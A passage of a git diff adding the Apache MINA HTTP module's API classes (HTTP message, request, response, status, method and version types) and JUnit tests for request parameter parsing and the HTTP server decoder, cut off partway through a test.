WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http.api; + +import java.util.Map; + +/** + * The default implementation for the HTTP response element. + * + * @author Apache MINA Project + */ +public class DefaultHttpResponse implements HttpResponse { + /** The HTTP version (one of 1.0 or 1.1) */ + private final HttpVersion version; + + /** The HTTP status */ + private final HttpStatus status; + + /** The HTTP headers */ + private final Map headers; + + /** + * Creates a new DefaultHttpResponse instance + * + * @param version The HTTP version + * @param status The HTTP status + * @param headers The HTTP headers + */ + public DefaultHttpResponse(HttpVersion version, HttpStatus status, Map headers) { + this.version = version; + this.status = status; + this.headers = headers; + } + + /** + * {@inheritDoc} + */ + @Override + public HttpVersion getProtocolVersion() { + return version; + } + + /** + * {@inheritDoc} + */ + @Override + public String getContentType() { + return headers.get("content-type"); + } + + /** + * {@inheritDoc} + */ + @Override + public boolean isKeepAlive() { + // TODO check header and version for keep alive + return false; + } + + /** + * {@inheritDoc} + */ + @Override + public String getHeader(String name) { + return headers.get(name); + } + + /** + * {@inheritDoc} + */ + @Override + public boolean containsHeader(String name) { + return headers.containsKey(name); + } + + /** + * {@inheritDoc} + */ + @Override + public Map getHeaders() { + return headers; + } + + /** + * {@inheritDoc} + */ + @Override + public HttpStatus getStatus() { + return status; + } + + @Override + public String toString() { + StringBuilder sb = new StringBuilder(); + sb.append("HTTP RESPONSE STATUS: " ).append(status).append('\n'); + sb.append("VERSION: ").append(version).append('\n'); + + sb.append("-- HEADER --- \n"); + + for (Map.Entry entry : headers.entrySet()) { + sb.append(entry.getKey()).append(':').append(entry.getValue()).append('\n'); + } + + return sb.toString(); + } +} diff --git a/mina-http/src/main/java/org/apache/mina/http/api/HttpContentChunk.java b/mina-http/src/main/java/org/apache/mina/http/api/HttpContentChunk.java new file mode 100644 index 0000000000..4aa9d493a3 --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/api/HttpContentChunk.java @@ -0,0 +1,35 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http.api; + +import java.nio.ByteBuffer; +import java.util.List; + +/** + * The HTTP content chunk object + * + * @author Apache MINA Project + */ +public interface HttpContentChunk { + /** + * @return The list of contents + */ + List getContent(); +} diff --git a/mina-http/src/main/java/org/apache/mina/http/api/HttpEndOfContent.java b/mina-http/src/main/java/org/apache/mina/http/api/HttpEndOfContent.java new file mode 100644 index 0000000000..003fcc8cf7 --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/api/HttpEndOfContent.java @@ -0,0 +1,35 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http.api; + +/** + * The HTTP end of content element + * + * @author Apache MINA Project + */ +public class HttpEndOfContent { + /** + * {@inheritDoc} + */ + @Override + public String toString() { + return "HttpEndOfContent"; + } +} diff --git a/mina-http/src/main/java/org/apache/mina/http/api/HttpMessage.java b/mina-http/src/main/java/org/apache/mina/http/api/HttpMessage.java new file mode 100644 index 0000000000..ed3402b722 --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/api/HttpMessage.java @@ -0,0 +1,73 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +package org.apache.mina.http.api; + +import java.util.Map; + +/** + * An HTTP message, the ancestor of HTTP request & response. + * + * @author Apache MINA Project + */ +public interface HttpMessage { + + /** + * The HTTP version of the message + * + * @return HTTP/1.0 or HTTP/1.1 + */ + HttpVersion getProtocolVersion(); + + /** + * Gets the Content-Type header of the message. + * + * @return The content type. + */ + String getContentType(); + + /** + * @return true if this message enables keep-alive connection. + */ + boolean isKeepAlive(); + + /** + * Returns the value of the HTTP header with the specified name. If more than one header with the given name is + * associated with this request, one is selected and returned. + * + * @param name The name of the desired header + * @return The header value - or null if no header is found with the specified name + */ + String getHeader(String name); + + /** + * Tells if the message contains some header + * + * @param name the Header's name we are looking for + * @return true if the HTTP header with the specified name exists in this request. + */ + boolean containsHeader(String name); + + /** + * @return a read-only {@link Map} of HTTP headers whose key is a {@link String} and whose value is a {@link String} + * s. + */ + Map getHeaders(); +} diff --git a/mina-http/src/main/java/org/apache/mina/http/api/HttpMethod.java b/mina-http/src/main/java/org/apache/mina/http/api/HttpMethod.java new file mode 100644 index 0000000000..04dc6ee264 --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/api/HttpMethod.java @@ -0,0 +1,89 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http.api; + +/** + * The HTTP method, one of GET, HEAD, POST, PUT, DELETE, OPTIONS, TRACE, CONNECT + * + * @author Apache MINA Project + */ +public enum HttpMethod { + // HTTP 1.0 official methods + /** The GET method */ + GET, + + /** The HEAD method */ + HEAD, + + /** The POST method */ + POST, + + // HTTP 1.1 official methods + /** The CONNECT method */ + CONNECT, + + /** The DELETE method */ + DELETE, + + /** The OPTIONS method */ + OPTIONS, + + /** The PUT method */ + PUT, + + /** The TRACE method */ + TRACE, + + // Additional HTTP 1.0 methods + /** The LINK method */ + LINK, + + /** The UNLINK method */ + UNLINK, + + // Additional HTTP 1.1 methods + /** The PATCH method, RFC 5789 */ + PATCH, + + // Other methods + /** The COPY method, RFC 4918*/ + COPY, + + /** The MOVE method, RFC 5789 */ + MOVE, + + /** The LOCK method, RFC 5789 */ + LOCK, + + /** The UNLOCK method, RFC 5789 */ + UNLOCK, + + /** The WRAPPED method ??? */ + WRAPPED, + + /** Unknown method */ + UNKNOWN; + + String name; + + public void setName(String name) { + this.name = name; + } +} diff --git a/mina-http/src/main/java/org/apache/mina/http/api/HttpRequest.java b/mina-http/src/main/java/org/apache/mina/http/api/HttpRequest.java new file mode 100644 index 0000000000..7b178a4f5c --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/api/HttpRequest.java @@ -0,0 +1,76 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ + +package org.apache.mina.http.api; + +import java.util.List; +import java.util.Map; + +/** + * An HTTP request element + * + * @author Apache MINA Project + */ +public interface HttpRequest extends HttpMessage { + + /** + * Determines whether this request contains at least one parameter with the specified name + * + * @param name The parameter name + * @return true if this request contains at least one parameter with the specified name + */ + boolean containsParameter(String name); + + /** + * Returns the value of a request parameter as a String, or null if the parameter does not exist. + * + * If the request contained multiple parameters with the same name, this method returns the first parameter + * encountered in the request with the specified name + * + * @param name The parameter name + * @return The value + */ + String getParameter(String name); + + /** + * @return The query part + */ + String getQueryString(); + + /** + * @return a read only {@link Map} of query parameters whose key is a {@link String} and whose value is a + * {@link List} of {@link String}s. + */ + Map> getParameters(); + + /** + * Return the HTTP method used for this message {@link HttpMethod} + * + * @return the method + */ + HttpMethod getMethod(); + + /** + * Return the HTTP request path + * + * @return the request path + */ + String getRequestPath(); +} diff --git a/mina-http/src/main/java/org/apache/mina/http/api/HttpResponse.java b/mina-http/src/main/java/org/apache/mina/http/api/HttpResponse.java new file mode 100644 index 0000000000..d38b08b36b --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/api/HttpResponse.java @@ -0,0 +1,34 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http.api; + +/** + * An HTTP response to an HTTP request + * + * @author Apache MINA Project + */ +public interface HttpResponse extends HttpMessage { + /** + * The HTTP status code for the HTTP response (e.g. 200 for OK, 404 for not found, etc..) + * + * @return the status of the HTTP response + */ + HttpStatus getStatus(); +} diff --git a/mina-http/src/main/java/org/apache/mina/http/api/HttpStatus.java b/mina-http/src/main/java/org/apache/mina/http/api/HttpStatus.java new file mode 100644 index 0000000000..aee07c47ec --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/api/HttpStatus.java @@ -0,0 +1,263 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http.api; + +/** + * An Enumeration of all known HTTP status codes. + * + * @author Apache MINA Project + */ +public enum HttpStatus { + + // 1xx - Information + /** + * 100 - Continue + */ + INFORMATIONAL_CONTINUE(100, "HTTP/1.1 100 Continue"), + /** + * 101 - Switching Protocols + */ + INFORMATIONAL_SWITCHING_PROTOCOLS(101, "HTTP/1.1 101 Switching Protocols"), + /** + * 102 - Proxessing, RFC 2518 + */ + //PROCESSING(102, "HTTP/1.1 102 Processing"), + /** + * 103 - Early Hints, RFC 8297 + */ + //EARLY_HINTS(103, "HTTP/1.1 103 Early Hints"), + + // 2xx - Succes + /** + * 200 - OK + */ + SUCCESS_OK(200, "HTTP/1.1 200 OK"), + /** + * 201 - Created + */ + SUCCESS_CREATED(201, "HTTP/1.1 201 Created"), + /** + * 202 - Accepted + */ + SUCCESS_ACCEPTED(202, "HTTP/1.1 202 Accepted"), + /** + * 203 - Non-Authoritative Information + */ + SUCCESS_NON_AUTHORATIVE_INFORMATION(203, "HTTP/1.1 203 Non-Authoritative Information"), + /** + * 204 - No Content + */ + SUCCESS_NO_CONTENT(204, "HTTP/1.1 204 No Content"), + /** + * 205 - Reset Content + */ + SUCCESS_RESET_CONTENT(205, "HTTP/1.1 205 Reset Content"), + /** + * 206 - Created + */ + SUCCESS_PARTIAL_CONTENT(206, "HTTP/1.1 206 Partial Content"), + + // 3xx - Redirection + /** + * 300 - Multiple Choices + */ + REDIRECTION_MULTIPLE_CHOICES(300, "HTTP/1.1 300 Multiple Choices"), + /** + * 301 - Moved Permanently + */ + REDIRECTION_MOVED_PERMANENTLY(301, "HTTP/1.1 301 Moved Permanently"), + /** + * 302 - Found / Moved Temporarily + */ + REDIRECTION_FOUND(302, "HTTP/1.1 302 Found"), + /** + * 303 - See Others + */ + REDIRECTION_SEE_OTHER(303, "HTTP/1.1 303 See Other"), + /** + * 304 - Not Modified + */ + REDIRECTION_NOT_MODIFIED(304, "HTTP/1.1 304 Not Modified"), + /** + * 305 - Use Proxy + */ + REDIRECTION_USE_PROXY(305, "HTTP/1.1 305 Use Proxy"), + /** + * 307 - Temporary Redirect + */ + REDIRECTION_TEMPORARILY_REDIRECT(307, "HTTP/1.1 307 Temporary Redirect"), + /** + * 308 - Permanent Redirect + */ + PERMANENT_REDIRECT(308, "HTTP/1.1 308 Permanent Redirect"), + + // 4xx - Client Error + /** + * 400 - Bad Request + */ + CLIENT_ERROR_BAD_REQUEST(400, "HTTP/1.1 400 Bad Request"), + /** + * 401 - Unauthorized + */ + CLIENT_ERROR_UNAUTHORIZED(401, "HTTP/1.1 401 Unauthorized"), + /** + * 403 - Forbidden + */ + CLIENT_ERROR_FORBIDDEN(403, "HTTP/1.1 403 Forbidden"), + /** + * 404 - Not Found + */ + CLIENT_ERROR_NOT_FOUND(404, "HTTP/1.1 404 Not Found"), + /** + * 405 - Method Not Allowed + */ + CLIENT_ERROR_METHOD_NOT_ALLOWED(405, "HTTP/1.1 405 Method Not Allowed"), + /** + * 406 - Not Acceptable + */ + CLIENT_ERROR_NOT_ACCEPTABLE(406, "HTTP/1.1 406 Not Acceptable"), + /** + * 407 - Proxy Authentication Required + */ + CLIENT_ERROR_PROXY_AUTHENTICATION_REQUIRED(407, "HTTP/1.1 407 Proxy Authentication Required"), + /** + * 408 - Request Timeout + */ + CLIENT_ERROR_REQUEST_TIMEOUT(408, "HTTP/1.1 408 Request Timeout"), + /** + * 409 - Conflict + */ + CLIENT_ERROR_CONFLICT(409, "HTTP/1.1 409 Conflict"), + /** + * 410 - Gone + */ + CLIENT_ERROR_GONE(410, "HTTP/1.1 410 Gone"), + /** + * 411 - Length Required + */ + CLIENT_ERROR_LENGTH_REQUIRED(411, "HTTP/1.1 411 Length Required"), + /** + * 412 - Precondition Failed + */ + CLIENT_ERROR_PRECONDITION_FAILED(412, "HTTP/1.1 412 Precondition Failed"), + /** + * 413 - Request Entity Too Large + */ + CLIENT_ERROR_REQUEST_ENTITY_TOO_LARGE(413, "HTTP/1.1 413 Request Entity Too Large"), + /** + * 414 - Bad Request + */ + CLIENT_ERROR_REQUEST_URI_TOO_LONG(414, "HTTP/1.1 414 Request-URI Too Long"), + /** + * 415 - Unsupported Media Type + */ + CLIENT_ERROR_UNSUPPORTED_MEDIA_TYPE(415, "HTTP/1.1 415 Unsupported Media Type"), + /** + * 416 - Requested Range Not Satisfiable + */ + CLIENT_ERROR_REQUESTED_RANGE_NOT_SATISFIABLE(416, "HTTP/1.1 416 Requested Range Not Satisfiable"), + /** + * 417 - Expectation Failed + */ + CLIENT_ERROR_EXPECTATION_FAILED(417, "HTTP/1.1 417 Expectation Failed"), + + /** + * 418 - Unused (RFC2324 was an April 1 RFC that lampooned the various ways HTTP was abused) + */ + CLIENT_ERROR_UNUSED(418, "HTTP¨/1.1 418 - Unused"), + + /** + * 421 - Misdirected Request + */ + CLIENT_ERROR_MISDIRECTED_REQUEST(421, "HTTP¨/1.1 421 Misdirected Request"), + + /** + * 422 - Unprocessable Content + */ + CLIENT_ERROR_UNPROCESSABLE_CONTENT(422, "HTTP¨/1.1 422 Unprocessable Content"), + + /** + * 426 - Upgrade Required + */ + CLIENT_ERROR_UPGRADE_REQUIRED(426, "HTTP/1.1 426 Upgrade Required"), + + // 5xx - Server Error + /** + * 500 - Internal Server Error + */ + SERVER_ERROR_INTERNAL_SERVER_ERROR(500, "HTTP/1.1 500 Internal Server Error"), + /** + * 501 - Not Implemented + */ + SERVER_ERROR_NOT_IMPLEMENTED(501, "HTTP/1.1 501 Not Implemented"), + /** + * 502 - Bad Gateway + */ + SERVER_ERROR_BAD_GATEWAY(502, "HTTP/1.1 502 Bad Gateway"), + /** + * 503 - Service Unavailable + */ + SERVER_ERROR_SERVICE_UNAVAILABLE(503, "HTTP/1.1 503 Service Unavailable"), + /** + * 504 - Gateway Timeout + */ + SERVER_ERROR_GATEWAY_TIMEOUT(504, "HTTP/1.1 504 Gateway Timeout"), + /** + * 505 - HTTP Version Not Supported + */ + SERVER_ERROR_HTTP_VERSION_NOT_SUPPORTED(505, "HTTP/1.1 505 HTTP Version Not Supported"); + + /** The code associated with this status, for example "404" for "Not Found". */ + private int code; + + /** + * The line associated with this status, "HTTP/1.1 501 Not Implemented". + */ + private String line; + + /** + * Create an instance of this type. + * + * @param code the status code. + * @param phrase the associated phrase. + */ + private HttpStatus(int code, String phrase) { + this.code = code; + line = phrase; + } + + /** + * Retrieve the status code for this instance. + * + * @return the status code. + */ + public int code() { + return code; + } + + /** + * Retrieve the status line for this instance. + * + * @return the status line. + */ + public String line() { + return line + "\r\n"; + } +} diff --git a/mina-http/src/main/java/org/apache/mina/http/api/HttpVerb.java b/mina-http/src/main/java/org/apache/mina/http/api/HttpVerb.java new file mode 100644 index 0000000000..edfe5c7517 --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/api/HttpVerb.java @@ -0,0 +1,51 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http.api; + +/** + * The HTTP verb. One of GET, HEAD, POST, PUT, DELETE, OPTIONS, TRACE and CONNECT. + * + * @author Apache MINA Project + */ +public enum HttpVerb { + /** The GET verb */ + GET, + + /** The HEAD verb */ + HEAD, + + /** The POST verb */ + POST, + + /** The PUT verb */ + PUT, + + /** The DELETE verb */ + DELETE, + + /** The OPTIONS verb */ + OPTIONS, + + /** The TRACE verb */ + TRACE, + + /** The CONNECT verb */ + CONNECT +} diff --git a/mina-http/src/main/java/org/apache/mina/http/api/HttpVersion.java b/mina-http/src/main/java/org/apache/mina/http/api/HttpVersion.java new file mode 100644 index 0000000000..b74b537d3f --- /dev/null +++ b/mina-http/src/main/java/org/apache/mina/http/api/HttpVersion.java @@ -0,0 +1,97 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http.api; + +/** + * Type safe enumeration representing HTTP protocol version. Must be + * one of : + *
      + *
    • HTTP 1.0
    • + *
    • HTTP 1.1
    • + *
    • HTTP 1.2
    • + *
    • HTTP 1.3
    • + *
    + * + * @author Apache MINA Project + */ +public enum HttpVersion { + /** + * HTTP 1/0 + */ + HTTP_1_0("HTTP/1.0"), + + /** + * HTTP 1/1 + */ + HTTP_1_1("HTTP/1.1"), + + /** + * HTTP 1/2 + */ + HTTP_1_2("HTTP/1.2"), + + /** + * HTTP 1/3 + */ + HTTP_1_3("HTTP/1.3"); + + private final String value; + + private HttpVersion(String value) { + this.value = value; + } + + /** + * Returns the {@link HttpVersion} instance from the specified string. + * + * @param httpVersion The String containing the HTTP version + * @return The version, or null if no version is found + */ + public static HttpVersion fromString(String httpVersion) { + if (httpVersion == null) { + return null; + } + + switch (httpVersion.toUpperCase()) { + case "HTTP/1.0": + return HTTP_1_0; + + case "HTTP/1.1": + return HTTP_1_1; + + case "HTTP/1.2": + return HTTP_1_2; + + case "HTTP/1.3": + return HTTP_1_3; + + default: + return null; + } + } + + /** + * @return A String representation of this version + */ + @Override + public String toString() { + return value; + } +} diff --git a/mina-http/src/test/java/org/apache/mina/http/HttpRequestImplTestCase.java b/mina-http/src/test/java/org/apache/mina/http/HttpRequestImplTestCase.java new file mode 100644 index 0000000000..ba3b724e82 --- /dev/null +++ b/mina-http/src/test/java/org/apache/mina/http/HttpRequestImplTestCase.java @@ -0,0 +1,95 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http; + +import static org.junit.Assert.*; + +import java.util.List; +import java.util.Map; + +import org.apache.mina.http.api.HttpMethod; +import org.apache.mina.http.api.HttpRequest; +import org.apache.mina.http.api.HttpVersion; +import org.junit.Test; + +public class HttpRequestImplTestCase { + + @Test + public void testGetParameterNoParameter() { + HttpRequest req = new HttpRequestImpl(HttpVersion.HTTP_1_1, HttpMethod.GET, "/","", null); + assertNull("p0 doesn't exist", req.getParameter("p0")); + } + + @Test + public void testGetParameterOneEmptyParameter() { + HttpRequest req = new HttpRequestImpl(HttpVersion.HTTP_1_1, HttpMethod.GET, "/", "p0=", null); + assertEquals("p0 is emtpy", "", req.getParameter("p0")); + assertNull("p1 doesn't exist", req.getParameter("p1")); + } + + @Test + public void testGetParameterOneParameter() { + HttpRequest req = new HttpRequestImpl(HttpVersion.HTTP_1_1, HttpMethod.GET, "/", "p0=0", null); + assertEquals("p0 is '0'", "0", req.getParameter("p0")); + assertNull("p1 doesn't exist", req.getParameter("p1")); + } + + @Test + public void testGetParameter3Parameters() { + HttpRequest req = new HttpRequestImpl(HttpVersion.HTTP_1_1, HttpMethod.GET, "/", "p0=&p1=1&p2=2", null); + assertEquals("p0 is emtpy", "", req.getParameter("p0")); + assertEquals("p1 is '1'", "1", req.getParameter("p1")); + assertEquals("p2 is '2'", "2", req.getParameter("p2")); + assertNull("p3 doesn't exist", req.getParameter("p3")); + } + + @Test + public void testGetParametersNoParameter() { + HttpRequest req = new HttpRequestImpl(HttpVersion.HTTP_1_1, HttpMethod.GET, "/", "", null); + assertTrue("Empty Map", req.getParameters().isEmpty()); + } + + @Test + public void testGetParameters3Parameters() { + HttpRequest req = new HttpRequestImpl(HttpVersion.HTTP_1_1, HttpMethod.GET, "/","p0=&p1=1&p2=2", null); + Map> parameters = req.getParameters(); + assertEquals("3 parameters", 3, parameters.size()); + assertEquals("one p0", 1, parameters.get("p0").size()); + assertEquals("p0 is emtpy", "", parameters.get("p0").get(0)); + assertEquals("one p1", 1, parameters.get("p1").size()); + assertEquals("p1 is '1'", "1", parameters.get("p1").get(0)); + assertEquals("one p2", 1, parameters.get("p2").size()); + assertEquals("p2 is '2'", "2", parameters.get("p2").get(0)); + } + + @Test + public void testGetParameters3ParametersWithDuplicate() { + HttpRequest req = new HttpRequestImpl(HttpVersion.HTTP_1_1, HttpMethod.GET, "/","p0=&p1=1&p0=2", null); + Map> parameters = req.getParameters(); + assertEquals("2 parameters", 2, parameters.size()); + assertEquals("two p0", 2, parameters.get("p0").size()); + assertEquals("1st p0 is emtpy", "", parameters.get("p0").get(0)); + assertEquals("2nd p0 is '2'", "2", parameters.get("p0").get(1)); + assertEquals("one p1", 1, parameters.get("p1").size()); + assertEquals("p1 is '1'", "1", parameters.get("p1").get(0)); + assertNull("No p2", parameters.get("p2")); + } + +} diff --git a/mina-http/src/test/java/org/apache/mina/http/HttpServerDecoderTest.java b/mina-http/src/test/java/org/apache/mina/http/HttpServerDecoderTest.java new file mode 100644 index 0000000000..27be47b2b3 --- /dev/null +++ b/mina-http/src/test/java/org/apache/mina/http/HttpServerDecoderTest.java @@ -0,0 +1,356 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + * + */ +package org.apache.mina.http; + +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertNotEquals; +import static org.junit.Assert.assertTrue; + +import java.nio.charset.CharacterCodingException; +import java.nio.charset.Charset; +import java.nio.charset.CharsetEncoder; +import java.util.Queue; + +import org.apache.mina.core.buffer.IoBuffer; +import org.apache.mina.core.session.DummySession; +import org.apache.mina.core.session.IoSession; +import org.apache.mina.filter.codec.AbstractProtocolDecoderOutput; +import org.apache.mina.filter.codec.ProtocolDecoder; +import org.apache.mina.http.api.HttpEndOfContent; +import org.apache.mina.http.api.HttpRequest; +import org.junit.After; +import org.junit.Test; + +public class HttpServerDecoderTest { + private static final String DECODER_STATE_ATT = "http.ds"; + + private static final CharsetEncoder encoder = Charset.forName("US-ASCII").newEncoder(); //$NON-NLS-1$ + + private static final ProtocolDecoder decoder = new HttpServerDecoder(); + + /* + * Use a single session for all requests in order to test state management + * better + */ + private static IoSession session = new DummySession(); + + /** + * Build an IO buffer containing a simple minimal HTTP request. + * + * @param method the HTTP method + * @param body the option body + * @return the built IO buffer + * @throws CharacterCodingException if encoding fails + */ + protected static IoBuffer getRequestBuffer(String method, String body) throws CharacterCodingException { + IoBuffer buffer = IoBuffer.allocate(0).setAutoExpand(true); + buffer.putString(method + " / HTTP/1.1\r\nHost: dummy\r\n", encoder); + + if (body != null) { + buffer.putString("Content-Length: " + body.length() + "\r\n\r\n", encoder); + buffer.putString(body, encoder); + } else { + buffer.putString("\r\n", encoder); + } + + buffer.rewind(); + + return buffer; + } + + protected static IoBuffer getRequestBuffer(String method) throws CharacterCodingException { + return getRequestBuffer(method, null); + } + + protected static class ProtocolDecoderQueue extends AbstractProtocolDecoderOutput { + public Queue getQueue() { + return this.messageQueue; + } + } + + /** + * Execute an HTPP request and return the queue of messages. + * + * @param method the HTTP method + * @param body the optional body + * @return the protocol output and its queue of messages + * @throws Exception if error occurs (encoding,...) + */ + protected static ProtocolDecoderQueue executeRequest(String method, String body) throws Exception { + ProtocolDecoderQueue out = new ProtocolDecoderQueue(); + + IoBuffer buffer = getRequestBuffer(method, body); // $NON-NLS-1$ + + while (buffer.hasRemaining()) { + decoder.decode(session, buffer, out); + } + + return out; + } + + /** + * Be sure to clean the session to get back in NEW state + */ + @After + public void shutdown() { + session.removeAttribute(DECODER_STATE_ATT); + } + + @Test + public void testGetRequestWithoutBody() throws Exception { + ProtocolDecoderQueue out = executeRequest("GET", null); + assertEquals(2, out.getQueue().size()); + assertTrue(out.getQueue().poll() instanceof HttpRequest); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + } + + @Test + public void testGetRequestBody() throws Exception { + ProtocolDecoderQueue out = executeRequest("GET", "body"); + assertEquals(3, out.getQueue().size()); + assertTrue(out.getQueue().poll() instanceof HttpRequest); + assertTrue(out.getQueue().poll() instanceof IoBuffer); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + } + + @Test + public void testPutRequestWithoutBody() throws Exception { + ProtocolDecoderQueue out = executeRequest("PUT", null); + assertEquals(2, out.getQueue().size()); + assertTrue(out.getQueue().poll() instanceof HttpRequest); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + } + + @Test + public void testPutRequestBody() throws Exception { + ProtocolDecoderQueue out = executeRequest("PUT", "body"); + assertEquals(3, out.getQueue().size()); + assertTrue(out.getQueue().poll() instanceof HttpRequest); + assertTrue(out.getQueue().poll() instanceof IoBuffer); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + } + + @Test + public void testPostRequestWithoutBody() throws Exception { + ProtocolDecoderQueue out = executeRequest("POST", null); + assertEquals(2, out.getQueue().size()); + assertTrue(out.getQueue().poll() instanceof HttpRequest); + assertTrue(out.getQueue().poll() instanceof HttpEndOfContent); + } + + @Test + public void testPostRequestBody() throws Exception { + ProtocolDecoderQueue out = executeRequest("POST", "body"); + 